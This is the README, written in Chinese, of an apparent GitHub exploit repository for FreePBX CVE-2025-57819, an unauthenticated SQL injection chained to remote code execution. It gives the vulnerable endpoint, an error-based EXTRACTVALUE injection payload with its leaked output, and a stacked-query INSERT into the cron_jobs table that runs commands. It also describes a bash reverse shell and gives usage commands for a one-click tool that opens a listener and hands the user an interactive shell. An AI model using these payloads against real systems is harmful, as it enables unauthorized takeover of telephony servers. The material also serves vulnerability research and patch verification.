b4sh2/CVE-2025-57819-poc
GitHub: b4sh2/CVE-2025-57819-poc
针对 FreePBX CVE-2025-57819 未授权 SQL 注入到 RCE 的自动化一键利用工具,覆盖从漏洞验证到获取交互式 shell 的完整攻击链。
Stars: 6 | Forks: 2
# CVE-2025-57819 — FreePBX 未授权 SQLi → RCE
针对 FreePBX **Endpoint Manager** 未授权 SQL 注入 (CVE-2025-57819) 的一键漏洞利用,并通过 FreePBX 的 `cron_jobs` 表实现链式远程代码执行。
## 漏洞
Endpoint 模块的 ajax handler 将 `brand` 参数直接拼接到 SQL 查询中,并且模块路径 `FreePBX\modules\endpoint\ajax` 绕过了 ajax Referrer/身份验证检查。这导致了一个 **未授权** 的基于错误的 SQL 注入(通过 `EXTRACTVALUE`),并且启用了 **堆叠查询写入**。
注入点:
```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=
```
验证(基于错误的回显):
```
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
```
**受影响版本:** FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3。
## RCE 技术
该注入本身是只读的,但堆叠查询允许进行写入操作。FreePBX 通过其 cron 管理器运行 `cron_jobs` 表中的任务,因此插入一行即可实现任意命令执行(大约 60 秒内,计划任务设为 `* * * * *`):
```
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','','',NULL,'* * * * *',30,1,1);
```
注入的命令是一个 bash 反向 shell。为了避免重复连接,cron 记录在首次回调后会被自动删除。
## 环境要求
```
pip install requests urllib3
```
Python 3。内置的 IP 自动检测功能 (`-i/--interface`) 仅支持 Linux;在其他平台上请使用 `--ip`。
## 用法
```
# 默认设置:interface tun0,port 4444 — 启动 listener,执行 exploits,drops a shell
python3 exploit.py http://{target}
# 选择不同的 interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# 显式设置 listener IP
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
```
该脚本执行以下操作:
1. 验证 SQLi(泄露数据库版本)。
2. 在选定端口上启动 TCP 监听器。
3. 注入反向 shell cron 任务并验证记录是否成功写入。
4. 等待约 70 秒的回调,然后将你带入交互式 shell(并自动尝试升级为 PTY)。
5. 清理注入的 cron 记录。
## 参考
- [Horizon3.ai — 更新的 FreePBX CVE:身份验证绕过与 RCE](https://horizon3.ai/attack-research/vulnerabilities/cve-2025-57819/)
- [watchTowr Labs — FreePBX CVE-2025-57819](https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/)
- [watchTowr PoC (GitHub)](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)
- [NVD — CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819)
- [FreePBX 安全公告 GHSA-m42g-xg4c-5f3h](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)
标签:CISA项目, Python, 无后门, 编程工具, 远程代码执行, 逆向工具